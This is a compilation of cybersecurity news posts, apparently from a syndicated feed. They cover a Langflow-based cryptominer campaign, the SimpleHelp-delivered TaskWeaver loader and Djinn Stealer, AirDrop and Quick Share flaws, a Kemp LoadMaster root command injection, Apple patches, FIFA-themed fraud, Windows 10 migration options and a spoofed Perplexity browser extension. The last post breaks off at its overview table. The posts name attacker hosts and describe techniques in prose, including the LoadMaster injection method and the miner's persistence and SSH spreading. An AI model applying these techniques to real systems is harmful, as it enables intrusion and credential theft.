Langflow RCE Exploited to Deploy Monero Miner on Exposed AI App Endpoints

Threat actors are continuing to exploit a critical Langflow vulnerability as part of fresh attacks designed to deliver a Monero cryptocurrency miner.

The activity has been found to weaponize CVE-2026-33017 (CVSS score: 9.3), an unauthenticated remote code execution (RCE) vulnerability in Langflow, indicating threat actors are scanning and targeting exposed artificial intelligence (AI) application endpoints for obtaining initial access to enterprise networks. The attack was observed over a 19-day window between March 27 and April 15, 2026.

"In this campaign, a single line of Python code evaluated inside an unauthenticated Langflow API endpoint pulls down a shell script, fetches a miner binary, and launches it detached," Trend Micro researchers Simon Dulude and John Zhang said in a technical report published last week.

At a high level, the malware is designed to terminate competing cryptocurrency miner processes associated with Kinsing, WatchDog, Rocke, and Outlaw, delete rival wallet and key material, disable host-level security controls, establish cron-based persistence, beacon to an external server ("83.142.209[.]214:80), and deploy a custom miner. It can also propagate to other systems through reused SSH keys, effectively turning an exposed Langflow instance into a pathway for broader compromise.

This involves exploiting the Langflow flaw to run an attacker-supplied Python script, which, in turn, is configured to launch a remotely hosted shell script that acts as a dropper whose primary responsibility is to check if a binary called "lambsys" is already running on the host.

Subsequently, it downloads the binary on the machine using curl or wget, launches it as a detached process, and spreads itself to every SSH-reachable host the victim can authenticate to. The binary, an ELF executable written in Go, is also engineered to disable AppArmor, Ubuntu's Uncomplicated Firewall, iptables, SELinux, the kernel NMI watchdog, and Alibaba Cloud's Aliyun agent.

In addition, the malware removes system logs to cover up the tracks, and removes the immutable attribute from files like "~/.ssh/," "~/.ssh/authorized_keys," "/etc/crontab," and "/etc/ld.so.preload," "/tmp/," "/var/tmp/," and "/var/spool/cron" in order to make its modifications, and then reapplies the immutable attribute to "/tmp/" and "/var/tmp/."

Illicit cryptocurrency mining operations are known to set the "chattr +i" attribute on these files to ensure that they cannot be modified, renamed, or deleted by any user, including the superuser. The binary's behavior reflects that the threat actor behind the operation is aware of persistence methods adopted by rival cryptojacking groups.

In the final stage, the binary contacts the same server to fetch a TAR archive and extracts from it a bespoke XMRig miner. Once the miner begins execution, the archive file is wiped from the file system. It further sends a request to ipinfo[.]io to obtain the host's public IP address and location, allowing the threat actors to make operational decisions on the fly.

The first is pool selection. Given that mining pools tend to be geographically distributed, connecting the miner to a pool near the victim can minimize latency and maximize hash rate. The second reason behind obtaining this information is geo-fencing, as it gives the threat actors a way to exclude victims in certain regions.

"Lambsys does not run its attack logic as Go functions," the researchers explained. "Instead, it forks a cascade of short-lived sh -c subprocesses, each executing one shell command (one pkill, one chattr, one sysctl). The design trades stealth for reliability. If one of 51 pkill commands fails, the failure is contained to that subprocess, and the other 50 carry on."

Trend Micro said an artifact belonging to the previous iteration of the same binary was compiled in May 2024, indicating that the threat actors behind the campaign have likely been iterating on the family for over two years, while taking steps to evade detection by antivirus tools.

Over the past year, a number of security flaws in Langflow have come under active exploitation. In June 2025, another critical vulnerability (CVE-2025-3248, CVSS score: 9.8) was abused to distribute the Flodrix botnet malware.

"This cryptocurrency-mining campaign shows how exposed AI application endpoints are becoming another route into enterprise environments," Trend Micro said. "The payload might be familiar, but the delivery vector is not. A Langflow vulnerability gives commodity cryptominer operators a new front door into systems running AI application infrastructure."

from The Hacker News https://ift.tt/2nONzLP
via IFTTT

What the Numbers Say About FIFA 2026 Cyber Risk

The FIFA World Cup 2026 opened on June 11. By that date, according to Check Point Research, the fraud infrastructure targeting it had already been built, staged, and partially deployed. Threat actor activity was pre-planned, months out, across three sectors and at least ten languages.

Check Point Exposure Management published the FIFA World Cup 2026 Cyber Threat Report this month, covering financial services, transportation, hospitality, and gambling. Here are three findings worth reading carefully.

1 in 3 FIFA Partners Can't Block Email Impersonation

Pre-tournament research by Proofpoint found that more than one-third of official FIFA World Cup 2026 partners lack sufficient DMARC enforcement to prevent domain spoofing. That means attackers can send an email that appears to come from a sponsor, a vendor, or a logistics partner, with no technical barrier stopping it.

The World Cup supply chain is enormous. Airlines, hotels, broadcast partners, merchandise contractors, and catering companies. Every procurement email traveling that chain is a potential interception point. High transaction volumes, tight deadlines, and the operational chaos of a global event create exactly the conditions that suppress payment verification rigor.

Check Point's attack surface management and digital brand protection capabilities are built for this kind of external exposure, continuously monitoring partner ecosystems for authentication gaps and impersonation infrastructure before attackers can use them.

Fake Sportsbook Apps Surged 60x Above Baseline

A controlled comparison across eight major sportsbook brands, covering 60-day windows in 2025 and 2026 using identical methodology, found zero impersonator app detections in the non-tournament baseline. The pre-tournament window found 64. That is roughly 60 times the baseline rate, concentrated in April and May 2026, and concentrated on Google Play.

At least five distinct developer accounts published apps spoofing two or more different sportsbook brands within hours or days of each other. This is a coordinated multi-brand operation, timed to tournament activation.

The attack surface here extends well beyond the app stores. Check Point Exposure Management also identified active Russian-language Telegram channels operating as fake tipster services, routing followers through referral links to generate affiliate commissions on fraudulent deposits. The channels split their picks across the audience, so roughly half the subscribers always "win" enough to keep depositing. The sportsbook pays the affiliate commission on every conversion.

Check Point's dark web monitoring covers Telegram channels at this depth, giving security and fraud teams visibility into the operations before the tournament window-branded content fully activates.

The Fake Hotel and Travel Sites Were Built Two Months Before Kickoff

Check Point Exposure Management tracked monthly registrations of FIFA-themed lookalike domains targeting travel and hospitality services from November 2025 through May 2026. April 2026 alone accounted for 21.9% of the entire 12-month sample, eight weeks before kickoff. March and April together represent 34%.

Hotel and lodging brands account for 56% of the total Travel and tour brands account for another 27%. The sites were built to intercept fans at the point of purchase, when urgency was highest, and verification habits were the weakest.

A small number of registrars carry most of the infrastructure. GoDaddy, Hostinger, Namecheap, Porkbun, and IONOS together host 56% of the fraudulent domains. One interesting finding worth flagging is .top TLD accounts for 28% of registrations. .top is a phishing-favored generic TLD with low abuse-response thresholds and cheap registration costs. Actors who want infrastructure that stays up choose it deliberately.

A subset of the domains also has MX records configured. That means they can receive email, run reply-path impersonation, and intercept password-reset flows from victim accounts. These are active phishing infrastructures, registered and staged before the tournament started.

Check Point's phishing and brand protection capabilities continuously monitor for this kind of pre-positioned infrastructure, with a 99% takedown success rate and an average mean time to remediation of 12 hours. For organizations whose brands are being cloned at scale ahead of a global event, detection speed and remediation speed are the only variables that matter.

What This Means

Security teams supporting any organization in the financial, travel, hospitality, or gambling sectors should treat the current period as elevated, not because the threat landscape changed with the opening match, but because threat actors were already positioned before it started.

Read the full FIFA World Cup 2026 Cyber Threat Report or contact Check Point Exposure Management if you're seeing escalation.

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/fvaNk8z
via IFTTT

Windows 10 End of Life: What Now for Your Old Hardware?

Windows 10 has been the reliable workhorse for millions of users since 2015. On October 14, 2025, Microsoft officially ended support. So if you did not opt for Extended Security Updates (ESU) which saves you until October 13, 2026, you have no more free security updates, no feature improvements, and no official technical help. Your PC will still boot and run, but it will become an increasingly attractive target for malware, ransomware, and other threats.

As someone who has been tinkering with hardware, virtualization, and operating systems for years, I’ve seen this cycle many times for older versions of Windows. Today I want to give you practical options – especially for home users and small businesses running perfectly usable older machines.

Option 1: Stay on Windows 10 with Extended Security Updates (ESU)

Microsoft offers a one-year Extended Security Updates program until October 13, 2026. This is not a full support extension – just critical security patches.

For home users / consumers: Enroll via Settings > Update & Security > Windows Update. Options include free if you sync settings with Windows Backup, redeem Microsoft Rewards points, or pay a one-time fee (around $30 USD equivalent).

For small businesses with domain-joined or managed machines, check commercial ESU options through volume licensing – these tend to be more structured and potentially costlier.

My take: This buys you one year of breathing room. It’s a good bridge if you need time to plan migration or hardware refresh. After 2026, you’re on your own unless Microsoft extends it again. Details about W10 ESU at Microsoft here.

Option 2: Force Windows 11 on Unsupported Hardware with Rufus

If you want to use W 11 on older PC (unsupported), know that you can. Many older PCs (pre-8th gen Intel, no TPM 2.0, etc.) are blocked from official Windows 11 upgrades. Rufus – the fantastic open-source tool – makes it easy.

Note: I have also written a post about Fly OOB utility which is another great tool that allows you to avoid the ISO downloads and modification. In fact, you don’t need no modified ISOs you’re scared to download. Just two official Microsoft files + one tiny portable app → modern Windows 11 on your old machine – Check our post Windows 11 on ANY Old PC in 2025: FlyOOBE 2.0 Makes It Easy. FlyOOBE 2.0 is the nicest thing anyone has done for older computers in a decade.

With Rufus, you’ll need to download the latest Windows 11 ISO from Microsoft, run Rufus, select the ISO, and in the options bypass TPM, Secure Boot, RAM, and CPU checks. Create the USB and boot up your system to install/upgrade to Windows 11.

Rufus is flexible. It creates modified Windows 11 installation media that bypasses the TPM/Secure Boot/CPU checks, and you can use it in two main ways:

1. In-place upgrade (keep your files, apps, and settings)

This is the most convenient option for most home users and small businesses.

• Create the bootable USB with Rufus (select the bypass options).
• While still running Windows 10, insert the USB, open it, and run setup.exe.
• During the setup wizard, you should see the option to “Keep personal files and apps”.

This works like a normal Windows 10 → 11 upgrade but on unsupported hardware. Many users successfully do this without losing anything. It’s the path I usually recommend first if your current Windows 10 installation is stable and not too cluttered. You can still debloat your Windows 11 afterwards with Windows ISO Debloater.

2. Clean install (fresh start)

You boot from the Rufus USB and wipe the drive (or a partition). This is cleaner long-term – especially on older hardware – because it removes years of accumulated junk, drivers, and registry clutter. However, you’ll need to reinstall your programs and restore your data from backup.

My practical advice (in the spirit of my blog):

• If your PC is working fine today → try the in-place upgrade first. It’s faster and less disruptive.
• If the machine feels slow, has random issues, or you’re moving from HDD to SSD → go for the clean install. The difference in snappiness can be noticeable.

Important notes:

• Always back up important data before any upgrade (OneDrive, external drive, or NAS).
• You can also perform an image-level backup (use Free Veeam Agent for Windows) and save the whole system to a file stored on an external USB drive.
• After installation (especially in-place), Windows Update should still work on unsupported hardware for now, though Microsoft can change this in the future.
• Test performance after the upgrade. On borderline old hardware, even the in-place version of Windows 11 can feel a bit heavier than Windows 10.

The reality check on performance: On older hardware, Windows 11 often feels noticeably heavier than Windows 10. Higher idle RAM usage, more background processes, more active services, and a more demanding UI can make the system sluggish – especially on 8 GB RAM machines, mechanical HDDs, or older CPUs. Fans spin up more, battery life drops, and everyday tasks feel less snappy. Test thoroughly (dual-boot or VM) before committing. For small businesses, weigh security gains against productivity hits.

Option 3: Switch to Linux – The Smart Long-Term Play for Old Hardware

Linux has matured tremendously and often breathes new life into older PCs.

Why Linux shines here:

• Lightweight distributions run beautifully on hardware that struggles with modern Windows.
• Years of security updates, free, no forced upgrades.
• Excellent for browsing, documents, media, and many business tasks.

Recommendations:

• Linux Mint Cinnamon or Ubuntu – Most Windows-like for beginners.
• Linux Mint XFCE or Xubuntu – For low-spec machines.
• Pop!_OS or Fedora – Strong hardware support.
• Or Deepin Linux or Winux (looks like Windows tbh).

For small businesses: Non-critical machines (kiosks, admin stations) migrate well. Test line-of-business software; use web versions or VMs for anything Windows-only.

Office and Outlook on Linux: The Big Question for Home Users and SMBs

This is often the make-or-break point when considering Linux. Many home users and small businesses rely on Microsoft Office files and Outlook for email, calendars, contacts, and collaboration. More often than not, years and years of emails are usually archived in large PST files stored locally on each Workstation (hopefully those important files are backed up?).

For general Office work: LibreOffice is the star. It’s free, handles .docx, .xlsx, and .pptx files very well for most needs, and comes pre-installed on many distros. OnlyOffice is another strong contender – especially its desktop version – with a cleaner, more Microsoft-like interface and excellent collaboration features in the paid/self-hosted versions. For simple needs, the web versions of Microsoft 365 work fine in any Linux browser.

LibreOffice is the most prominent completely free, open-source European desktop office suite, offering strong compatibility with Microsoft formats but lacking built-in cloud collaboration.

For browser-based, real-time collaborative suites, CryptPad (France) and Drime (France) are the top low-cost options, with CryptPad offering a robust free tier for encrypted document editing and Drime providing affordable plans starting at €2.39 per month for comprehensive cloud storage and team features.

 

Drime collaborative cloud

 

Staying in the Microsoft 365 collaborative ecosystem: You don’t have to abandon M365 entirely. The full web apps (Word, Excel, Teams, etc.) run smoothly on Linux via Chrome, Firefox, or Edge.

Many users create Progressive Web Apps (PWAs) or use tools like Web Apps in Linux Mint to make them feel more like desktop programs. This keeps real-time collaboration, shared calendars, and OneDrive intact without installing anything heavy. The main limitations are slightly fewer advanced features compared to native desktop apps and the need for a reliable internet connection.

Outlook replacements:

• Thunderbird (free, from Mozilla) is the go-to for most Linux users. It handles multiple accounts, calendars (via add-ons), and tasks well. With the OWL add-on (paid), it integrates nicely with Exchange/Outlook.com accounts.
• Evolution is another solid choice, especially if you need deeper Microsoft Exchange support.
• For a modern look, try Mailspring.

These aren’t perfect 1:1 clones of Outlook’s full feature set (especially complex rules or shared mailboxes in larger setups), but they cover 80-90% of what most home users and small businesses actually need.

What about old PST archive files? Outlook’s proprietary PST format isn’t directly readable everywhere, but Linux has good tools. The easiest graphical way is Evolution – it has a built-in PST importer.

Evolution is the only client on Linux that fully supports Microsoft exchange and Google out of the box without any plugins.

 

Evolution email client with built-in PST import

 

Command-line users can install pst-utils (contains readpst) to export emails to standard mbox format for import into Thunderbird or other clients. This works reliably for archived emails, contacts, and calendars in most cases.

Cheaper collaborative alternatives to full M365:

• OnlyOffice (Community Edition free for small teams) or self-hosted Nextcloud with office apps.
• Google Workspace — Affordable and excellent real-time collaboration.
• Zoho Workplace — Often cheaper than Microsoft for small businesses with strong email and docs.

For many small businesses, a mix works best: LibreOffice/OnlyOffice for local work + M365 web or a lighter cloud suite for collaboration. Test your key workflows first – most people adapt quickly.

If you care about data, privacy and

What to Do with Your Old Hardware – Practical Decisions

1. Still good daily driver? → Linux first, or Windows 10 + ESU for one year.
2. Needs specific Windows software? → Windows 11 via Rufus (test performance) or isolated Windows 10 machine.
3. Really ancient? → Repurpose as NAS, media server, or lightweight Linux desktop.
4. Business critical? → Plan a hardware refresh where compliance demands it.

Final Words

Don’t panic-buy new hardware. Many 2015–2020 machines still have life left. Windows 10 ESU gives breathing room, Rufus unlocks Windows 11 (with caveats), but Linux often delivers the best performance and longevity – especially when paired with LibreOffice, Thunderbird/Evolution Email clients, and selective use of M365 web apps.

Evaluate your real needs (Office compatibility, email archives, collaboration), test in a live USB session, and choose what keeps you secure and productive without unnecessary cost.

Linux OS got much better than 10 years ago. While 10 – 15 years ago the integrations were sometimes with rough edges, things got smooth over time with apps that are usable, clean and can replace Microsoft’s tools for a fraction of the cost. We live in a world where you can save money on unnecessary paid licenses. Think of it!

FAQ

What happens after Windows 10 end of support?
Your PC will still work, but it no longer gets regular security updates, feature updates, or technical support from Microsoft unless you enroll in ESU.

Can I keep using Windows 10 safely?
Yes, but only as a temporary option. ESU can buy more time, but it does not add new features or full technical support.

Can I install Windows 11 on unsupported hardware?
Yes, tools like Rufus can bypass some Windows 11 hardware checks, but performance and future update behavior should be tested first.

Is Linux a good option for old PCs?
For many older machines, yes. Lightweight Linux distributions can be faster than modern Windows and still cover browsing, office work, media, and basic business tasks.

Should small businesses replace old Windows 10 PCs?
Not always. Non-critical machines may be upgraded, moved to Linux, or repurposed. Business-critical devices should be reviewed for security, compliance, software needs, and performance.

from StarWind Blog https://ift.tt/wvyRhpU
via IFTTT

Attackers Exploit SimpleHelp CVE-2026-48558 to Deploy TaskWeaver and Djinn Stealer

An unknown threat actor has been observed exploiting a recently disclosed maximum-severity security flaw in SimpleHelp to deliver two previously unreported malware families, TaskWeaver and Djinn Stealer.

The intrusion involves the exploitation of CVE-2026-48558 (CVSS score: 10.0), a critical authentication bypass vulnerability impacting the OpenID Connect (OIDC) flow that an unauthenticated attacker could exploit to obtain a fully authenticated "Technician session by submitting a forged token containing arbitrary identity claims.

"TaskWeaver is a heavily obfuscated Node.js loader, delivered as jquery.js and executed through node.exe, that implements an encrypted, reusable payload delivery channel rather than a fixed set of post exploitation commands," Blackpoint Cyber said in an analysis. "The observed second stage payload, Djinn Stealer, targets Windows, macOS, and Linux systems."

Djinn Stealer is designed to harvest credentials associated with cloud platforms, source control, package registries, infrastructure tooling, AI development assistants, browsers, SSH, and cryptocurrency wallets.

Details of CVE-2026-48558 emerged earlier this month when Horizon3.ai, which discovered the flaw, said it affects servers configured to use either generic OIDC or Azure AD OIDC and that it stems from the manner in which SimpleHelp validates the IdP assertions.

"In many SimpleHelp deployments that have OIDC-type authentication enabled, an unauthenticated attacker can create and authenticate as a new 'Technician' user," Horizon3.ai security researcher Zach Hanley said. "This Technician, by default, can perform privileged management activities such as remoting into managed endpoints, executing scripts, and more."

"Even when the SimpleHelp server is configured to enforce MFA for technicians, this issue allows the attacker to bypass this mechanism because on first login, technicians can self-register their own MFA method."

In the attack chain documented by Blackpoint Cyber, successful exploitation of the flaw in the Remote Monitoring and Management (RMM) software is said to have enabled the threat actor to obtain an authenticated "Technician" session on a publicly-accessible server, which was then abused to deploy TaskWeaver and Djinn Stealer.

"The compromised RMM platform provided the operator with a trusted administrative channel capable of transferring files and executing commands on systems managed through the server," researchers Nevan Beal and Sam Decker said.

TaskWeaver is a modular Node.js loader capable of fingerprinting the system, establishing encrypted communications with a remote server ("a.dev-tunnels[.]com"), and retrieving and executing additional JavaScript payloads with elevated access to the Node.js runtime. The final stage is an information stealer engineered to siphon valuable data from compromised Windows, macOS, or Linux hosts.

The breadth of the information targeted by the stealer is as follows -

• Credentials, history, and bookmarks stored in web browsers
• Configuration and authentication data associated with AWS, Azure, Google Cloud, Oracle Cloud Infrastructure, Okta, Cloudflare, DigitalOcean, Linode, Heroku, Vercel, Railway, Supabase, Pulumi, Terraform, HashiCorp Vault, and Consul
• GitHub CLI data
• Git configuration
• SSH keys
• Docker authentication
• Helm registry information
• S3 and MinIO client configurations
• Subversion credentials
• Credentials for npm, pnpm, Yarn, NuGet, Cargo, Composer, Maven, Gradle, pip, PyPI, Conda, Bun, Ivy, and Scala Build Tool
• Configuration, authentication, session, and project data associated with Anthropic Claude, Google Gemini, OpenAI Codex, Cline, OpenCode, and Kilo
• Cryptocurrency wallets and keystores associated with Bitcoin, Litecoin, Dogecoin, Dash, Ethereum, Monero, Zcash, Exodus, Atomic Wallet, and Electrum

On Linux systems, the malware also attempts to read the "/proc/<pid>/cmdline" and "/proc/<pid>/environ" virtual files that may contain information about a running process, such as passwords, API keys, access tokens, database connection strings, and other sensitive values passed through command line arguments or environment variables.

Once the information is collected, it's packed into a TAR archive, compressed with GZIP, encrypted using an AES-256-GCM key protected by an RSA-2048 public key embedded in TaskWeaver, and exfiltrated to attacker-controlled infrastructure ("96.126.130[.]126:58942").

The campaign illustrates how threat actors are increasingly going after artificial intelligence (AI)-powered platforms as the technology gets embedded across enterprise workflows, enabling them to abuse the AI assistants' privileges to access sensitive data.

"A single authentication bypass became a pathway into everything the managed systems could reach, from cloud platforms and code repositories to AI tools, cryptocurrency wallets, and customer infrastructure," the researchers said.

"Credentials accessible from a developer or administrator workstation may provide entry into production infrastructure, build pipelines, source code repositories, deployment platforms, cloud tenants, and customer environments long after the original endpoint has been contained."

The active exploitation of CVE-2026-48558 has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add it to the Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the fixes by July 2, 2026.

from The Hacker News https://ift.tt/xceo6aS
via IFTTT

AirDrop and Quick Share Flaws Let Nearby Attackers Trigger Crashes and Bypass Checks

Two researchers have found six security flaws in AirDrop and Quick Share, the wireless features that beam files between nearby devices with no cables or shared network.

An attacker within wireless range, with just a laptop and no prior connection, can crash the sharing service on a Mac or iPhone set to receive from anyone, with no tap or prompt.

The same research found Quick Share flaws that bypass Samsung's session checks and trigger a potentially exploitable crash in Google's Windows app.

The two features run inside an ecosystem of more than five billion active Apple and Android devices, though the tested bugs hit specific implementations and versions.

The work, laid out in a new research paper by Arash Ale Ebrahim and Nils Ole Tippenhauer of the CISPA Helmholtz Center for Information Security, is the first to pull both stacks apart side by side, above the radio layer, where discovery becomes session handling, parsing, and trust decisions.

The fixes have already started. Apple has patched one of the three AirDrop bugs and assigned it a CVE, though the advisory is not yet public; the other two are still in coordinated disclosure. Google paid a bounty for the Windows flaw and has landed a code fix, with its CVE still pending.

Samsung's two bugs were handed to Google and remain under investigation. No public reports of these flaws being exploited have surfaced as of this writing.

Three ways to knock out Apple's sharing

All three AirDrop flaws end in the same crash: they take down sharingd, the background service on macOS and iOS that handles AirDrop. The catch is that this service also runs AirPlay, Handoff, Universal Clipboard, Continuity Camera, and NameDrop, so one crash takes the whole set down together.

The simplest of the three needs only a single malformed request sent to a device with AirDrop set to receive from "Everyone." Send those crash messages on a loop, about one every two seconds, and the features stay down for as long as the attacker keeps going. In the researchers' test, no legitimate AirDrop transfer got through while the attack ran.

Two of the three are more than AirDrop bugs, because they live in shared Apple frameworks. The broadest is a stack overflow in Foundation's XML property list parser, triggered by a small file with around 200 nested layers.

Any Apple app that opens an untrusted file of that type could hit the same parser path, across macOS, iOS, watchOS, tvOS, and visionOS. The researchers reproduced the AirDrop crashes on macOS 15.7.4, macOS 26.3, iOS 18.x, and iOS 26.3; an older iOS 16 build was not affected.

The Quick Share bugs, and a fix that broke

On Android, two flaws in Samsung's Quick Share let an attacker skip past the handshake that is supposed to lock down a session. One lets an unverified device start driving the connection before any encryption is set up.

The other lets some control messages pass unencrypted even after a secure session exists. An attacker on the same Wi-Fi network could use that gap to force a connection into an "accepted" state, keep it alive, or make the server return attacker-supplied IP and port values. Neither was shown to steal files, but both defeat the protections the system promises.

The researchers tested these on a Galaxy S23 Ultra and noted that other Android makers' versions of Quick Share need separate checking.

The most serious flaw is in Google's Quick Share for Windows. It is a memory bug that surfaces when two connections collide at the right instant, leaving the program using a chunk of memory it has already thrown away.

That is the kind of bug that can sometimes be turned into running attacker code, and the researchers say the path is plausible here because a Windows defense called Control Flow Guard is switched off in the app.

They confirmed a crash but did not build a working exploit. Google acknowledged it, paid a bounty, and has now landed a fix; the CVE is still pending.

It is not the first time Quick Share for Windows has been here. SafeBreach reported a 10-bug code-execution chain in 2024 (CVE-2024-38271 and CVE-2024-38272), then returned in 2025 to bypass Google's fixes (CVE-2024-10668). The new use-after-free adds another entry to a pattern of the same component being patched and probed again.

The detail that stings: the program's own source code carried a comment admitting a prior bug in that exact spot, reading "We had a bug here, caused by a race with EncryptionRunner." The fix written to handle it reintroduced the same kind of flaw.

The risk is local, not remote

The key limit is range. These are local attacks, not internet-wide ones: the attacker has to be within about 10 to 30 meters or on the same local network.

While less sweeping than a remote bug, a single attacker in a crowded place like an airport, train, or conference can still reach many devices at once. The researchers tested only their own hardware and have released their tools openly so other security teams can reproduce the findings.

On a Mac or iPhone, install Apple's latest update (iOS and macOS 26.5.2 shipped June 29) and keep AirDrop on "Contacts Only" or off rather than "Everyone," which is the setting these flaws need. On Quick Share, leave it out of "Everyone" visibility when you are not actively receiving a file, and update the Windows app now that Google's fix has landed.

Two independently built systems failed the same way: crashes in code that faces the network, and security checks bolted onto individual message handlers instead of being enforced up front. It also lands at an awkward moment.

Google's AirDrop interoperability for Quick Share is already rolling out across flagship Android phones, and it only works when the iPhone is set to receive from "Everyone," the exact setting that exposes the AirDrop crash bugs.

from The Hacker News https://ift.tt/nehuzTb
via IFTTT

Progress Kemp LoadMaster Flaw Could Let Attackers Run Root Commands Pre-Auth

A critical vulnerability in Progress Kemp LoadMaster can let an unauthenticated attacker execute arbitrary commands as root on the appliance by sending a crafted request to its API.

The flaw, tracked as CVE-2026-8037, carries a CVSS score of 9.8 according to ZDI. A patch is available. If you run LoadMaster with the API enabled, update now.

Progress published its advisory on June 4 and says it has not received any reports of exploitation. On June 29, researchers at watchTowr Labs published a detailed technical write-up that walks through the full exploit chain.

What the Flaw Does

LoadMaster is an application delivery controller and load balancer used by enterprises to manage traffic across servers. It sits at the network edge, which makes any pre-auth flaw in it especially dangerous.

The vulnerability lives in a function called escape_quotes(), which is supposed to sanitize user input before it gets passed into a shell command. The function's job is to escape single quotes so that an attacker cannot break out of a quoted string and inject commands. The problem: it allocated a memory buffer without clearing it first and never wrote a null terminator at the end of the sanitized string.

That missing terminator is the whole exploit. Without it, the system keeps reading past the end of the sanitized input into whatever data happens to sit next to it in memory. An attacker can control what sits there by stuffing extra JSON keys into the same API request, each carrying a command injection payload. The system reads the sanitized input, keeps going, hits the attacker's payload, and executes it.

The attack targets the /accessv2 endpoint, which handles API credential validation. The attacker sends a JSON body with a specially crafted apiuser value and dozens of extra key-value pairs sprayed with the command they want to run. No valid credentials are needed. The command runs as root.

Affected Versions and Fix

The flaw affects LoadMaster GA v7.2.63.1 and older, and LTSF v7.2.54.17 and older, when the API is enabled. Progress has released fixed versions: GA v7.2.63.2 and LTSF v7.2.54.18.

The patch itself is minimal. Two changes: the memory allocation function was swapped from one that leaves the buffer uninitialized to one that zero-fills it, and an explicit null terminator was added after the escaped output. Two lines of code that close a path to the root.

The vulnerability was discovered by Syed Ibrahim Ahmed of TrendAI Research and reported to Progress through the Zero Day Initiative on April 15, 2026. ZDI coordinated the public advisory release on June 9. watchTowr Labs independently analyzed the patch diff and published their own full technical breakdown with a working proof of concept on June 29.

Progress also patched a second, high-severity flaw in the same advisory: CVE-2026-33691, a WAF bypass where whitespace padding in filenames could circumvent file upload extension checks.

A Pattern Worth Watching

This is not LoadMaster's first critical flaw. In November 2024, CISA added a previous LoadMaster command injection flaw (CVE-2024-1212, CVSS 10.0) to its Known Exploited Vulnerabilities catalog after confirmed exploitation in the wild.

In April 2026, Progress patched five more high-severity LoadMaster flaws, four of them command injection issues. Progress is also the maker of MOVEit, whose 2023 vulnerabilities fueled a mass exploitation campaign by the Cl0p ransomware group.

The Canadian Centre for Cyber Security has also issued an advisory urging administrators to apply the updates.

No attacks on CVE-2026-8037 have been reported yet. A working proof of concept is now public. Patch, and then ask whether the API needs to be reachable at all.

from The Hacker News https://ift.tt/bEZJk4z
via IFTTT

Apple Patches 30+ iOS, macOS, Safari Flaws, Including AI-Discovered WebKit Bugs

Apple on Monday released security updates for iOS, macOS, and the Safari web browser to address over three dozen flaws, including four vulnerabilities in WebKit that were discovered using artificial intelligence (AI) tools like Anthropic Claude and OpenAI Codex Security.

The WebKit vulnerabilities are listed below -

• CVE-2026-43707 - A memory corruption issue that could result in an unexpected process crash when processing maliciously crafted web content. It was addressed with improved memory handling.
• CVE-2026-43716 - An unspecified issue that could result in an unexpected Safari crash when processing maliciously crafted web content. It was addressed with improved memory handling.
• CVE-2026-43745 - An out-of-bounds write issue that could result in an unexpected Safari crash when processing maliciously crafted web content. It was addressed with improved input validation.
• CVE-2026-43715 - A use-after-free issue that could result in memory corruption when processing maliciously crafted web content. It was addressed with improved memory management.

The first three security defects have been credited by Apple to OpenAI Codex Security, while Anthropic researchers Milad Nasr and Nicholas Carlini, along with Claude, have been acknowledged for CVE-2026-43715.

The four vulnerabilities are part of nearly 30 vulnerabilities that have been patched in WebKit, an open-source web browser engine developed by Apple. Others include a use-after-free issue in WebKit Canvas (CVE-2026-43720) and a vulnerability that could be exploited by a malicious website to process restricted web content outside the sandbox (CVE-2026-43725).

Apple has also remediated three bugs that could be exploited by a malicious app to leak sensitive kernel state (CVE-2026-43722), cause unexpected system termination or write kernel memory (CVE-2026-43724), or corrupt kernel memory (CVE-2026-39868). Security researcher Hyunwoo Kim, who discovered Dirty Frag, has been credited with discovering and reporting CVE-2026-43724 and CVE-2026-43722.

The updates are available for iOS 26.5.2, iPadOS 26.5.2, macOS Tahoe 26.5.2, and Safari 26.5.2. None of the patched vulnerabilities has been disclosed as actively exploited in the wild.

In a statement shared with Reuters, Apple said it's making the security updates much earlier than before in response to concerns that AI tools could accelerate the development of exploits and act as an enabler of cyber warfare, shrinking the window between discovery and weaponization to hours.

The company said "it was adapting to ​the reality that, given the ability of artificial intelligence ​to speed the development of malicious hacking tools, it ⁠needed to reduce the time between when updates were first ​made public and when they were put into customers' hands," Reuters reported.

from The Hacker News https://ift.tt/ZPX0KwG
via IFTTT

Chromium extension uses AI‑related branding to redirect browser search

1. Extension overview
2. Key indicators of malicious behavior
3. Dynamic analysis findings
4. Mitigation and protection guidance
5. References
6. Learn more

Microsoft Threat Intelligence has identified a malicious Chromium-based extension that spoofs the AI-powered answer engine Perplexity AI to trick unsuspecting users into installing it. Based on our observation of the extension’s behavior, we assess its primary objective to be search traffic interception and data collection, which might enable downstream use cases such as profiling, targeted advertising, or other forms of misuse depending on operator intent. Through responsible disclosure, we reported this extension to Google, and it has been taken down as of this writing. We’d like to thank Google for responding to and addressing this issue.

Browser extensions continue to represent a significant attack surface within enterprise and consumer ecosystems due to their privileged access to browser APIs, user traffic, and browsing behavior. However, unlike traditional search hijackers that rely primarily on aggressive monetization or visible redirection, this extension combines Manifest Version 3 (MV3) capabilities with intermediary infrastructure and declarativeNetRequest (DNR) rules to transparently intercept Omnibox queries while preserving the appearance of legitimate search results. In addition, while browser search hijacking is not a new threat category, this research highlights how threat actors continue to operationalize AI to accelerate attacks—specifically the use of AI brands as a social engineering vector.

The extension routes both full search queries and real-time search suggestions (typed characters) through attacker-controlled infrastructure hosted on a domain not associated with the legitimate vendor, before redirecting users to expected search providers. While the observed activity demonstrates the capability to capture user input and browsing signals, no evidence in our analysis definitively confirms additional objectives such as credential theft. However, the level of access and permissions requested introduces elevated privacy and security risk.

As threat actors continue to capitalize on emerging industry trends such as AI and leverage trusted branding to improve the success rates of their campaigns, organizations should strengthen user awareness training and similar programs to educate end users about the latest social engineering tactics. They should also implement a layered security strategy that correlates available indicators with behavioral signals and other threat intelligence.

In this blog post, we provide our analysis of the browser extension—including key indicators of malicious behavior and findings from our dynamic analysis. We also provide mitigation and protection guidance, as well as advanced hunting queries, to help organizations detect and defend against this threat.

Extension overview

The extension we analyzed has the following attributes:

Attribute	Value
Extension name	Search for perplexity ai
Extension ID	flkebkiofojicogddingbdmcmkpbplcd
Manifest version	MV3
Version	2.2
Observed purpose	Browser search override and redirect logic
Referenced brand	Perplexity AI
Suspicious domain	perplexity-ai[.]online

